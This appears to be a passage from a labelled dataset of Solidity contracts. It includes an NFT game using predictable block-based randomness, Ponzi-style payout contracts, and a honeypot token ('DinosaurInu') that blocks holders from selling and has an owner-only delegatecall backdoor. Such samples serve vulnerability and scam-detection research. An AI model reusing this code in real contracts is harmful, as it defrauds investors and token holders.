function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return fashionArray.length - destroyFashionCount - 1;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
if (fashionIdToApprovals[_tokenId] != address(0)) {
delete fashionIdToApprovals[_tokenId];
}
}
fashionIdToOwner[_tokenId] = _to;
ownerToFashionArray[_to].push(_tokenId);
fashionIdToOwnerIndex[_tokenId] = ownerToFashionArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function createFashion(address _owner, uint16[9] _attrs, uint16 _createType)
external
whenNotPaused
returns(uint256)
{
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newFashionId = fashionArray.length;
require(newFashionId < 4294967296);
fashionArray.length += 1;
Fashion storage fs = fashionArray[newFashionId];
fs.protoId = _attrs[0];
fs.quality = _attrs[1];
fs.pos = _attrs[2];
if (_attrs[3] != 0) {
fs.health = _attrs[3];
}
if (_attrs[4] != 0) {
fs.atkMin = _attrs[4];
fs.atkMax = _attrs[5];
}
if (_attrs[6] != 0) {
fs.defence = _attrs[6];
}
if (_attrs[7] != 0) {
fs.crit = _attrs[7];
}
if (_attrs[8] != 0) {
fs.isPercent = _attrs[8];
}
_transfer(0, _owner, newFashionId);
CreateFashion(_owner, newFashionId, _attrs[0], _attrs[1], _attrs[2], _createType);
return newFashionId;
}
function _changeAttrByIndex(Fashion storage _fs, uint16 _index, uint16 _val) internal {
if (_index == 3) {
_fs.health = _val;
} else if(_index == 4) {
_fs.atkMin = _val;
} else if(_index == 5) {
_fs.atkMax = _val;
} else if(_index == 6) {
_fs.defence = _val;
} else if(_index == 7) {
_fs.crit = _val;
} else if(_index == 9) {
_fs.attrExt1 = _val;
} else if(_index == 10) {
_fs.attrExt2 = _val;
} else if(_index == 11) {
_fs.attrExt3 = _val;
}
}
function changeFashionAttr(uint256 _tokenId, uint16[4] _idxArray, uint16[4] _params, uint16 _changeType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
Fashion storage fs = fashionArray[_tokenId];
if (_idxArray[0] > 0) {
_changeAttrByIndex(fs, _idxArray[0], _params[0]);
}
if (_idxArray[1] > 0) {
_changeAttrByIndex(fs, _idxArray[1], _params[1]);
}
if (_idxArray[2] > 0) {
_changeAttrByIndex(fs, _idxArray[2], _params[2]);
}
if (_idxArray[3] > 0) {
_changeAttrByIndex(fs, _idxArray[3], _params[3]);
}
ChangeFashion(fashionIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyFashion(uint256 _tokenId, uint16 _deleteType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
address _from = fashionIdToOwner[_tokenId];
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
fashionIdToOwner[_tokenId] = address(0);
delete fashionIdToOwnerIndex[_tokenId];
destroyFashionCount += 1;
Transfer(_from, 0, _tokenId);
DeleteFashion(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getFashion(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[12] datas) {
Fashion storage fs = fashionArray[_tokenId];
datas[0] = fs.protoId;
datas[1] = fs.quality;
datas[2] = fs.pos;
datas[3] = fs.health;
datas[4] = fs.atkMin;
datas[5] = fs.atkMax;
datas[6] = fs.defence;
datas[7] = fs.crit;
datas[8] = fs.isPercent;
datas[9] = fs.attrExt1;
datas[10] = fs.attrExt2;
datas[11] = fs.attrExt3;
}
function getOwnFashions(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage fsArray = ownerToFashionArray[_owner];
uint256 length = fsArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = fsArray[i];
Fashion storage fs = fashionArray[fsArray[i]];
flags[i] = uint32(uint32(fs.protoId) * 100 + uint32(fs.quality) * 10 + fs.pos);
}
}
function getFashionsAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 11);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (fashionIdToOwner[tokenId] != address(0)) {
index = i * 11;
Fashion storage fs = fashionArray[tokenId];
attrs[index] = fs.health;
attrs[index + 1] = fs.atkMin;
attrs[index + 2] = fs.atkMax;
attrs[index + 3] = fs.defence;
attrs[index + 4] = fs.crit;
attrs[index + 5] = fs.isPercent;
attrs[index + 6] = fs.attrExt1;
attrs[index + 7] = fs.attrExt2;
attrs[index + 8] = fs.attrExt3;
}
}
}
}
contract Random {
uint256 _seed;
function _rand() internal returns (uint256) {
_seed = uint256(keccak256(_seed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
return _seed;
}
function _randBySeed(uint256 _outSeed) internal view returns (uint256) {
return uint256(keccak256(_outSeed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
}
}
interface IDataMining {
function getRecommender(address _target) external view returns(address);
function subFreeMineral(address _target) external returns(bool);
}
interface IDataEquip {
function isEquiped(address _target, uint256 _tokenId) external view returns(bool);
function isEquipedAny2(address _target, uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isEquipedAny3(address _target, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
interface IDataAuction {
function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ActionCompose is Random, AccessService {
using SafeMath for uint256;
event ComposeSuccess(address indexed owner, uint256 tokenId, uint16 protoId, uint16 quality, uint16 pos);
bool isRecommendOpen;
IDataAuction public auctionContract;
IDataEquip public equipContract;
WarToken public tokenContract;
function ActionCompose(address _nftAddr) public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
tokenContract = WarToken(_nftAddr);
}
function() external payable {
}
function setRecommendStatus(bool _isOpen) external onlyAdmin {
require(_isOpen != isRecommendOpen);
isRecommendOpen = _isOpen;
}
function setDataAuction(address _addr) external onlyAdmin {
require(_addr != address(0));
auctionContract = IDataAuction(_addr);
}
function setDataEquip(address _addr) external onlyAdmin {
require(_addr != address(0));
equipContract = IDataEquip(_addr);
}
function _getFashionParam(uint256 _seed, uint16 _protoId, uint16 _quality, uint16 _pos) internal pure returns(uint16[9] attrs) {
uint256 curSeed = _seed;
attrs[0] = _protoId;
attrs[1] = _quality;
attrs[2] = _pos;
uint16 qtyParam = 0;
if (_quality <= 3) {
qtyParam = _quality - 1;
} else if (_quality == 4) {
qtyParam = 4;
} else if (_quality == 5) {
qtyParam = 6;
}
uint256 rdm = _protoId % 3;
curSeed /= 10000;
uint256 tmpVal = (curSeed % 10000) % 21 + 90;
if (rdm == 0) {
if (_pos == 1) {
uint256 attr = (200 + qtyParam * 200) * tmpVal / 100;
attrs[4] = uint16(attr * 40 / 100);
attrs[5] = uint16(attr * 160 / 100);
} else if (_pos == 2) {
attrs[6] = uint16((40 + qtyParam * 40) * tmpVal / 100);
} else if (_pos == 3) {
attrs[3] = uint16((600 + qtyParam * 600) * tmpVal / 100);
} else if (_pos == 4) {
attrs[6] = uint16((60 + qtyParam * 60) * tmpVal / 100);
} else {
attrs[3] = uint16((400 + qtyParam * 400) * tmpVal / 100);
}
} else if (rdm == 1) {
if (_pos == 1) {
uint256 attr2 = (190 + qtyParam * 190) * tmpVal / 100;
attrs[4] = uint16(attr2 * 50 / 100);
attrs[5] = uint16(attr2 * 150 / 100);
} else if (_pos == 2) {
attrs[6] = uint16((42 + qtyParam * 42) * tmpVal / 100);
} else if (_pos == 3) {
attrs[3] = uint16((630 + qtyParam * 630) * tmpVal / 100);
} else if (_pos == 4) {
attrs[6] = uint16((63 + qtyParam * 63) * tmpVal / 100);
} else {
attrs[3] = uint16((420 + qtyParam * 420) * tmpVal / 100);
}
} else {
if (_pos == 1) {
uint256 attr3 = (210 + qtyParam * 210) * tmpVal / 100;
attrs[4] = uint16(attr3 * 30 / 100);
attrs[5] = uint16(attr3 * 170 / 100);
} else if (_pos == 2) {
attrs[6] = uint16((38 + qtyParam * 38) * tmpVal / 100);
} else if (_pos == 3) {
attrs[3] = uint16((570 + qtyParam * 570) * tmpVal / 100);
} else if (_pos == 4) {
attrs[6] = uint16((57 + qtyParam * 57) * tmpVal / 100);
} else {
attrs[3] = uint16((380 + qtyParam * 380) * tmpVal / 100);
}
}
attrs[8] = 0;
}
function lowCompose(uint256 token1, uint256 token2)
external
whenNotPaused
{
require(tokenContract.ownerOf(token1) == msg.sender);
require(tokenContract.ownerOf(token2) == msg.sender);
require(!equipContract.isEquipedAny2(msg.sender, token1, token2));
if (address(auctionContract) != address(0)) {
require(!auctionContract.isOnSaleAny2(token1, token2));
}
tokenContract.ownerOf(token1);
uint16 protoId;
uint16 quality;
uint16 pos;
uint16[12] memory fashionData = tokenContract.getFashion(token1);
protoId = fashionData[0];
quality = fashionData[1];
pos = fashionData[2];
require(quality == 1 || quality == 2);
fashionData = tokenContract.getFashion(token2);
require(protoId == fashionData[0]);
require(quality == fashionData[1]);
require(pos == fashionData[2]);
uint256 seed = _rand();
uint16[9] memory attrs = _getFashionParam(seed, protoId, quality + 1, pos);
tokenContract.destroyFashion(token1, 1);
tokenContract.destroyFashion(token2, 1);
uint256 newTokenId = tokenContract.createFashion(msg.sender, attrs, 3);
ComposeSuccess(msg.sender, newTokenId, attrs[0], attrs[1], attrs[2]);
}
function highCompose(uint256 token1, uint256 token2, uint256 token3)
external
whenNotPaused
{
require(tokenContract.ownerOf(token1) == msg.sender);
require(tokenContract.ownerOf(token2) == msg.sender);
require(tokenContract.ownerOf(token3) == msg.sender);
require(!equipContract.isEquipedAny3(msg.sender, token1, token2, token3));
if (address(auctionContract) != address(0)) {
require(!auctionContract.isOnSaleAny3(token1, token2, token3));
}
uint16 protoId;
uint16 quality;
uint16 pos;
uint16[12] memory fashionData = tokenContract.getFashion(token1);
protoId = fashionData[0];
quality = fashionData[1];
pos = fashionData[2];
require(quality == 3 || quality == 4);
fashionData = tokenContract.getFashion(token2);
require(protoId == fashionData[0]);
require(quality == fashionData[1]);
require(pos == fashionData[2]);
fashionData = tokenContract.getFashion(token3);
require(protoId == fashionData[0]);
require(quality == fashionData[1]);
require(pos == fashionData[2]);
uint256 seed = _rand();
uint16[9] memory attrs = _getFashionParam(seed, protoId, quality + 1, pos);
tokenContract.destroyFashion(token1, 1);
tokenContract.destroyFashion(token2, 1);
tokenContract.destroyFashion(token3, 1);
uint256 newTokenId = tokenContract.createFashion(msg.sender, attrs, 4);
ComposeSuccess(msg.sender, newTokenId, attrs[0], attrs[1], attrs[2]);
}
} | 1 | 4,763 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract TN is Ownable, MintableToken {
using SafeMath for uint256;
string public constant name = "TNcoin";
string public constant symbol = "TNC";
uint32 public constant decimals = 18;
address public addressTeam;
uint public summTeam;
function TN() public {
addressTeam = 0x799AAE2118f10d5148C9D7275EaF95bc0Cb6D6f9;
summTeam = 5050000 * (10 ** uint256(decimals));
mint(addressTeam, summTeam);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
uint softcap;
uint hardcap;
TN public token;
mapping(address => uint) public balances;
uint256 public startIco;
uint256 public endIco;
uint256 public totalSoldTokens;
uint256 public rateIco;
address public wallet;
event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() public {
token = createTokenContract();
softcap = 10000000 * 1 ether;
hardcap = 50000000 * 1 ether;
startIco = 1526403600;
endIco = 1539622800;
rateIco = 670;
wallet = 0xaa6072Cb5EcB3A1567F8Fdb4601620C4a808fD6c;
}
function setRateIco(uint _rateIco) public onlyOwner {
rateIco = _rateIco;
}
function () external payable {
procureTokens(msg.sender);
}
function createTokenContract() internal returns (TN) {
return new TN();
}
function procureTokens(address beneficiary) public payable {
uint256 tokens;
uint256 weiAmount = msg.value;
uint256 backAmount;
require(beneficiary != address(0));
if (now >= startIco && now < endIco && totalSoldTokens < hardcap){
tokens = weiAmount.mul(rateIco);
if (hardcap.sub(totalSoldTokens) < tokens){
tokens = hardcap.sub(totalSoldTokens);
weiAmount = tokens.div(rateIco);
backAmount = msg.value.sub(weiAmount);
}
totalSoldTokens = totalSoldTokens.add(tokens);
}
require(tokens > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
token.mint(msg.sender, tokens);
if (backAmount > 0){
balances[msg.sender] = balances[msg.sender].sub(backAmount);
msg.sender.transfer(backAmount);
}
emit TokenProcurement(msg.sender, beneficiary, weiAmount, tokens);
}
function refund() public{
require(totalSoldTokens < softcap && now > endIco);
require(balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function transferEthToMultisig() public onlyOwner {
address _this = this;
require(totalSoldTokens >= softcap && now > endIco);
wallet.transfer(_this.balance);
}
} | 1 | 5,501 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DinosaurInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,735 |
pragma solidity ^0.4.24;
contract FifteenPlus {
address owner;
address ths = this;
mapping (address => uint256) balance;
mapping (address => uint256) overallPayment;
mapping (address => uint256) timestamp;
mapping (address => uint256) prtime;
mapping (address => uint16) rate;
constructor() public { owner = msg.sender;}
function() external payable {
if((now-prtime[owner]) >= 86400){
owner.transfer(ths.balance / 100);
prtime[owner] = now;
}
if (balance[msg.sender] != 0){
uint256 paymentAmount = balance[msg.sender]*rate[msg.sender]/1000*(now-timestamp[msg.sender])/86400;
msg.sender.transfer(paymentAmount);
overallPayment[msg.sender]+=paymentAmount;
}
timestamp[msg.sender] = now;
balance[msg.sender] += msg.value;
if(balance[msg.sender]>overallPayment[msg.sender])
rate[msg.sender]=150;
else
rate[msg.sender]=15;
}
} | 1 | 5,015 |
pragma solidity ^0.4.24;
contract THREEDAYS{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
